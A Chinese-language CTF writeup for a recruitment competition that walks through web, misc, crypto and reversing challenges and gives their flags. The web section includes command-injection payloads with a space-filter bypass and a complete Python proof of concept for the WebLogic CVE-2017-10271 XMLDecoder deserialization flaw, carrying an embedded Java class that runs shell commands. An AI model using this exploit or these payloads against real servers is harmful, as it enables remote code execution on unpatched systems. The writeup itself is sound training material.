弱口令实验室招新赛 Writeup
1. Web 类别
2. MISC 类别
3. Crypto 类别
4. Re 类别
二、Web 类别解题解析
签到小能手
解题步骤
打开容器后,使用dirsearch工具扫描网站目录,命令示例:
dirsearch -u http://目标地址 -e php,bak,txt
扫描发现index.php.bak备份文件,访问该文件(如http://目标地址/index.php.bak);
备份文件中直接包含 flag。
辅助截图
**
Flag
qsnctf{4fb0d76d-40e1-4f40-85ca-f32e35562c4c}
开胃菜
解题步骤
访问目标页面,发现 URL 支持参数传入;
直接构造参数?1=cat /flag(利用命令执行漏洞),访问后页面返回 flag。
辅助截图
**
Flag
qsnctf:{1ef1dcf8-6542-4955-ac88-79dc0ea3e9e3}
小镇做题家
解题步骤
打开容器,用dirsearch扫描初始目录,发现robots.txt;
dirsearch -u http://目标地址 -e *
访问robots.txt,发现禁止访问的路径/GAME;
针对/GAME路径再次扫描,发现index.html;
访问/GAME/index.html,按 F12 查看源码,发现引用的snake.js文件;
访问snake.js,其中包含两段 Base64 编码,解码后得到关键路径:/GAME/f14g_in_there_hha/index.php;
访问该路径,页面提示输入payload,构造命令执行 payload:payload=cat${IFS}/fla*(${IFS}替代空格,避免空格被过滤),执行后得到 flag。
辅助截图
**
Flag
qsnctf{b72cd851-7c665-4109-85db-172c0ebbea70}
Discuz
解题步骤
访问容器默认页面,识别出为Discuz! 7.2版本;
搜索该版本漏洞,发现存在 “Cookie 伪造漏洞”,可通过修改 Cookie 获取管理员权限;
构造漏洞利用 URL(如http://目标地址/forumdisplay.php?fid=1),使用浏览器开发者工具(F12)修改 Cookie,添加auth=1(具体 Cookie 键值根据漏洞细节调整);
发送请求后,页面跳转至phpinfo()界面,搜索flag关键词,找到 flag。
辅助截图
**
Flag
qsnctf{8bb60cf1-53d9-4741-9c42-af8c7e14d4f0}
Weblogic
解题步骤
题目名称提示漏洞类型,确定为Weblogic CVE-2017-10271(XMLDecoder 反序列化漏洞);
编写漏洞利用脚本,核心是构造包含命令执行的 SOAP 请求,目标路径为/wls-wsat/CoordinatorPortType;
脚本中命令设置为echo CVE-2017-10271;cat /flag,执行脚本后,响应结果中包含 flag。
核心代码
import requests
headers = {
'user-agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.106 Safari/537.36 Edg/80.0.361.54',
'Accept': 'textml,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Upgrade-Insecure-Requests': '1',
'Content-Type': 'text/xml'
}
def Webogic_XMLDecoder_poc(url):
posturl = url + '/wls-wsat/CoordinatorPortType'
data = '''
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<void class="weblogic.utils.Hex" method="fromHexString" id="cls">
<string>0xcafebabe0000003200670a001700350800360a003700380a0039003a08003b0a0039003c07003d0a0007003508003e0a0039003f0a003900400b004100420800430800440800450800460700470a001100480a001100490a0011004a0a004b004c07004d07004e0100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c650100047468697301001e4c636f6d2f737570657265616d2f6578706c6f6974732f586d6c4578703b010003736179010029284c6a6176612f6c616e672f537472696e673b294c6a6176612f696f2f496e70757453747265616d3b010003636d640100124c6a6176612f6c616e672f537472696e673b01000769734c696e75780100015a0100056f73547970010004636d64730100104c6a6176612f7574696c2f4c6973743b01000e70726f636573734275696c64657201001a4c6a6176612f6c616e672f50726f636573734275696c6465723b01000470726f630100134c6a6176612f6c616e672f50726f636573733b0100164c6f63616c5661726961626c65547970655461626c650100244c6a6176612f7574696c2f4c6973743c4c6a6176612f6c616e672f537472696e673b3e3b01000d537461636b4d61705461626c6507004f07005001000a457863657074696f6e7307005101000a536f7572636546696c6501000b586d6c4578702e6a6176610c001800190100076f732e6e616d650700520c0053005407004f0c0055005601000377696e0c005700580100136a6176612f7574696c2f41727261794c697374010004244e4f240c0059005a0c005b005c0700500c005d005e0100092f62696e2f626173680100022d63010007636d642e6578650100022f630100186a6176612f6c616e672f50726f636573734275696c6465720c0018005f0c006000610c006200630700640c0065006601001c636f6d2f737570657265616d2f6578706c6f6974732f586d6c4578700100106a6176612f6c616e672f4f626a6563740100106a6176612f6c616e672f537472696e6701000e6a6176612f7574696c2f4c6973740100136a6176612f6c616e672f457863657074696f6e0100106a6176612f6c616e672f53797374656d01000b67657450726f7065727479010026284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f537472696e673b01000b746f4c6f7765724361736501001428294c6a6176612f6c616e672f537472696e673b010008636f6e7461696e7301001b284c6a6176612f6c616e672f4368617253657175656e63653b295a01000a73746172747357697468010015284c6a6176612f6c616e672f537472696e673b295a010009737562737472696e670100152849294c6a6176612f6c616e672f537472696e673b010003616464010015284c6a6176612f6c616e672f4f626a6563743b295a010013284c6a6176612f7574696c2f4c6973743b295601001372656469726563744572726f7253747265616d01001d285a294c6a6176612f6c616e672f50726f636573734275696c6465723b010005737461727401001528294c6a6176612f6c616e672f50726f636573733b0100116a6176612f6c616e672f50726f6365737301000e676574496e70757453747265616d01001728294c6a6176612f696f2f496e70757453747265616d3b0021001600170000000000020001001800190001001a0000002f00010001000000052ab70001b100000002001b00000006000100000007001c0000000c000100000005001d001e00000001001f00200002001a0000016f000300070000009c043d1202b800034e2dc600112db600041205b60006990005033dbb000759b700083a042b1209b6000a99001319042b07b6000bb9000c020057a700441c9900231904120db9000c0200571904120eb9000c02005719042bb9000c020057a700201904120fb9000c02005719041210b9000c02005719042bb9000c020057bb0011591904b700123a05190504b60013571905b600143a061906b60015b000000004001b0000004a001200000012000200130008001400180015001a00180023001a002c001b003c001c0040001d004a001e0054001f00600021006a002200740023007d002600880027008f002800960029001c0000004800070000009c001d001e00000000009c0021002200010002009a00230024000200080094002500220003002300790026002700040088001400280029000500960006002a002b0006002c0000000c0001002300790026002d0004002e000000110004fd001a0107002ffc0021070030231c0031000000040001003200010033000000020034</string>
</void>
<void class="org.mozilla.classfile.DefiningClassLoader">
<void method="defineClass">
<string>com.supeream.exploits.XmlExp</string>
<object idref="cls"></object>
<void method="newInstance">
<void method="say" id="proc">
<string>echo CVE-2017-10271;cat /flag</string>
</void>
</void>
</void>
</void>
<void class="java.lang.Thread" method="currentThread">
<void method="getCurrentWork">
<void method="getResponse">
<void method="getServletOutputStream">
<void method="writeStream">
<object idref="proc"></object>
</void>
<void method="flush"/>
</void>
<void method="getWriter"><void method="write"><string></string></void></void>
</void>
</void>
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
'''
print(posturl)
r = requests.post(posturl, data=data, headers=headers, timeout=5)
print(r.text)
if __name__ == '__main__':
url = "http://f74e25f4-9c00-4f10-bad9-5c19601d98ca.recruit.qsnctf.com:8080/" # 替换为目标URL
Webogic_XMLDecoder_poc(url)
辅助截图
**
Flag
qsnctf{19b9858b-a266-46d2-8f87-31057d8b4bb2}
三、MISC 类别解题解析
签到
解题步骤
题目提示 “linux 操作系统”,推测为命令行交互环境;
直接输入cat /flag命令,执行后返回 flag。
辅助截图
**
Flag
qsnctf{ba3c9f2e-56a8-416b-bc5d-dd379dede335}
Easymisc
解题步骤
下载题目文件,修改后缀为.zip(如原文件无后缀或后缀异常),解压后得到document.xml;
打开document.xml,搜索 Base64 编码特征(如PGRvY3RvciA),提取编码字符串;
对 Base64 编码进行解码,得到十六进制字符串;
对十六进制字符串再次解码,得到 flag。
辅助截图
**
Flag
qsnctf{177af0b9-fbed-4a1e-a09f-4a580940c28c}
奇怪又不奇怪
解题步骤
题目提供对照表(截图中隐含),根据字符映射关系(如特定符号对应字母);
将题目中的加密字符按对照表逐一替换,拼接后得到 flag。
辅助截图
**
Flag
qsnctf{MOXINAHJACK}
cookie 怎么分
解题步骤
使用Wireshark打开题目提供的流量包,筛选 HTTP 协议,导出 HTTP 数据流;
在导出文件中,发现某文件名含 Base64 编码特征(如ZmxhZy50eHQ=),解码后得到部分 flag;
导出的数据流中包含图片文件,用binwalk提取隐藏文件(命令:binwalk -e 图片文件名),得到两个压缩包;
解压压缩包得到图片,其中一张图片高度异常,用工具(如010 Editor)修改高度后,用 OCR 工具提取文字;
将文字 Base64 解码得到另一部分 flag,拼接两部分得到完整 flag。
辅助截图
**
Flag
qsnctf{b5512946-d7ac-45c9-afd0-a3f28ba547ea}
吉他
解题步骤
解压第一个 ZIP 压缩包,得到.aac音频文件;
用010 Editor打开.aac,搜索63 74 66(“ctf” 十六进制),找到部分 flag:qnsctf{74e0df3c-(注意修正 “n” 和 “s” 顺序为 “qsnctf”);
发现另一加密 7Z 压缩包,根据题目 “吉他” 提示,尝试密码guitar(吉他英文),解压得到图片;
用steghide提取图片隐藏内容(命令:steghide extract -sf 图片文件名 -p guitar),得到部分 flag;
用010 Editor打开 “吉他.jpg”,在文件尾部找到第三部分 flag,拼接三部分得到完整 flag。
辅助截图
**
Flag
qsnctf{74e0df3c-049f-46dc-823a-9c33565c6bde}
Easyso
解题步骤
打开题目图片,用图像工具(如 Photoshop、画图 3D)的 “吸管工具” 提取每个颜色块的十六进制代码,得到序列:
8b8b61 000000 8b8b61 000000 8b8b70 000000 8b8b6a 000000 8b8b65 000000 8b8b73;
去除空格和000000(填充字符),得到有效十六进制:8b8b618b8b618b8b708b8b6a8b8b658b8b73;
对十六进制代码进行解码,得到 flag。
辅助截图
**
Flag
qsnctf{appjes}
四、Crypto 类别解题解析
82.83.85
解题步骤
题目隐含 RSA 加密特征(82、83、85 可能对应 RSA 参数相关值);
使用 RSA 解密工具(如在线 RSA 解密平台、Python Crypto库),输入已知参数(如 n、e、c),直接解密得到 flag。
辅助截图
**
Flag
qsnctf{RSA_SO_EASY_!}
Snake
解题步骤
题目提示 “象形”“蛇”,对应 “蛇形密码”(按蛇形路径排列字符);
根据截图中的蛇形路径顺序,提取字符并按顺序组成十六进制字符串;
对十六进制字符串解码,得到 flag。
辅助截图
**
Flag
qsnctf{399b10cd-c3f9-491b-dfb5d03e4ce0}(注:原 flag 可能少写 “-”,需按实际解码结果修正)
Cryptosos
解题步骤
题目明确为 “仿射密码”,加密公式为c = (a*m + b) mod 26,需爆破密钥a和b;
仿射密码中a需与 26 互质(即a的可能值为 1,3,5,7,9,11,15,17,19,21,23,25),b范围为 1-25;
编写爆破脚本,遍历所有可能的a和b,对密文解密,筛选含 “qsnctf” 关键词的结果,得到 flag。
核心代码
# 暴力破解仿射密码
def decrypt():
k1 = [1,3,5,7,9,11,15,17,19,21,23,25] # a的可能值(与26互质)
n = 1
ny = []
# 计算每个a的逆元
for i in k1:
while (i * n) % 26 != 1:
n += 1
ny.append(n)
f = open('1.txt', 'r') # 读取密文文件
w = open('plain08.txt', 'w') # 写入解密结果
cipher = f.read()
p = []
for inv_a in ny:
for b in range(1, 27): # 遍历b的可能值
p.append('\n 逆元=' + str(inv_a) + ' k2=' + str(b) + ' ')
for i in range(len(cipher)):
# 处理小写字母
if cipher[i].islower():
t1 = ord(cipher[i]) - 97 - b
if t1 < 0:
t1 += 26
p.append(chr((inv_a * t1) % 26 + 97))
# 处理大写字母
elif cipher[i].isupper():
t2 = ord(cipher[i]) - 65 - b
if t2 < 0:
t2 += 26
p.append(chr((inv_a * t2) % 26 + 65))
# 保留非字母字符
else:
p.append(cipher[i])
plain = ''.join(p)
w.write(plain)
print('解密完成!')
f.close()
w.close()
if __name__ == '__main__':
decrypt()
辅助截图
**
Flag
qsnctf{d990d395-f7b7-4eed-b084-a2f4590db34e}
babyrsa RSbaby
解题步骤
已知 RSA 参数p、n、c,需爆破公钥指数e;
计算q = n // p,欧拉函数phi = (p-1)*(q-1);
遍历e的可能范围(如 20000-50000),筛选与phi互质的e,计算私钥d = invert(e, phi);
用m = pow(c, d, n)解密,将明文转换为字符串,筛选含 “qsnctf” 或 “flag” 的结果,得到 flag。
核心代码
from base64 import b64encode, b64decode
from gmpy2 import invert, gcd, iroot
from Crypto.Util.number import long_to_bytes
p = 185392927331398754034773152474166007097
n = 33047182186833739970146873552408478599841138065558351794468963853252513446871
c = 20392798836838831460465406987101354448592610558736461081264936079945558905138
q = n // p
phi = (p - 1) * (q - 1)
# 爆破e(范围可调整)
for e in range(20000, 50000):
if gcd(e, phi) == 1: # e需与phi互质
d = invert(e, phi)
m = pow(c, d, n)
flag = str(long_to_bytes(m))
# 筛选含关键词的结果
if 'qsnctf' in flag or 'flag' in flag:
print(flag)
print(f"e = {e}")
break
Flag
qsnctf{!RSA_SO_EASY$$}
What
解题步骤
题目加密文本不含{},推测为 “维吉尼亚密码”(多表替换密码,密钥固定长度);
维吉尼亚密码密钥通常为 3-6 位,尝试常见密钥(如ctf、qsn);
使用在线维吉尼亚解密工具,分别用qsn作为密钥解密,得到含 “qsnctf” 的 flag。
辅助截图
**
Flag
qsnctf{vigenerciphersoeasy}
奇怪又奇怪
解题步骤
第一层解码:题目提供的字符串为 Base64 编码,解码得到密文;
第二层解码:根据出题平台(青少年 CTF 训练平台),推测密钥为qsnctf,使用 DES 算法解密(ECB 模式);
第三、四层解码:继续用qsnctf作为密钥,使用 RC4 算法两次解密,最终得到 flag。
辅助截图
**
Flag
qsnctf{b97c2a6d-c8a2-4bed-bbb9-e845ec58844f}
五、Re 类别解题解析
Check
解题步骤
用IDA Pro打开题目可执行文件,定位main函数;
分析汇编代码,发现定义了数组v1,并通过v1[i + 24] = i ^ v1[i]生成新数组;
提取v1初始值,编写 C 语言脚本计算并输出v1[24-47]的字符形式,得到 flag。
核心代码
#include <stdio.h>
int main()
{
int v1[72];
// 从IDA中提取的v1初始值
v1[0] = 113;
v1[1] = 114;
v1[2] = 108;
v1[3] = 96;
v1[4] = 112;
v1[5] = 99;
v1[6] = 125;
v1[7] = 74;
v1[8] = 56;
v1[9] = 113;
v1[10] = 59;
v1[11] = 101;
v1[12] = 83;
v1[13] = 65;
v1[14] = 97;
v1[15] = 121;
v1[16] = 117;
v1[17] = 78;
v1[18] = 107;
v1[19] = 124;
v1[20] = 97;
v1[21] = 52;
v1[22] = 107;
// 补全v1[23](根据IDA分析结果,此处可能为0或其他值,需按实际情况调整)
v1[23] = 0;
// 生成v1[24-47]
for (int i = 0; i <= 23; ++i )
v1[i + 24] = i ^ v1[i];
// 输出flag(v1[24-47]的字符形式)
for(int i = 24; i <= 47; i++)
printf("%c", v1[i]);
return 0;
}
辅助截图
**
Flag
qsnctf{M0x1n_Love_you!}
MD5
解题步骤
用Die(PE 查壳工具)分析题目文件,找到关键字符串(如qsnctf{);
题目提示 “最多 7 位”,推测 flag 格式为qsnctf{7位数字},MD5 哈希值已知(如a4241bbfc6cab40e5b36b7a98c8621ed);
编写脚本爆破 7 位数字,计算qsnctf{数字}的 MD5 哈希,与已知哈希对比,匹配成功即得到 flag。
核心代码
import hashlib
target_md5 = "a4241bbfc6cab40e5b36b7a98c8621ed" # 已知MD5哈希
# 爆破7位数字(1000000-9999999)
for a in range(1000000, 10000000):
msg = f"qsnctf{{{a}}}" # 构造flag格式
msg_md5 = hashlib.md5(msg.encode()).hexdigest()
if msg_md5 == target_md5:
print(f"Flag: {msg}")
break
辅助截图
**
Flag
qsnctf{5201314}
LookThis
解题步骤
下载 APK 文件,修改后缀为.zip并解压;
进入res目录,找到图片资源文件夹(如mipmap-xhdpi-v4);
逐一查看文件夹中的图片,发现某张图片直接包含 flag(无需额外隐写提取)。
辅助截图
**